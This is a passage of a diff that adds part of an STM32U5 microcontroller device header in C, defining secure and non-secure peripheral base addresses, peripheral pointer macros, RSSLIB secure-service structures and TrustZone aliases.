DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1308UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_DRD_FS_NS ((USB_DRD_TypeDef *) USB_DRD_BASE_NS) +#define USB_DRD_PMA_BUFF_NS ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_DRD_FS_S ((USB_DRD_TypeDef *) USB_DRD_BASE_S) +#define USB_DRD_PMA_BUFF_S ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S 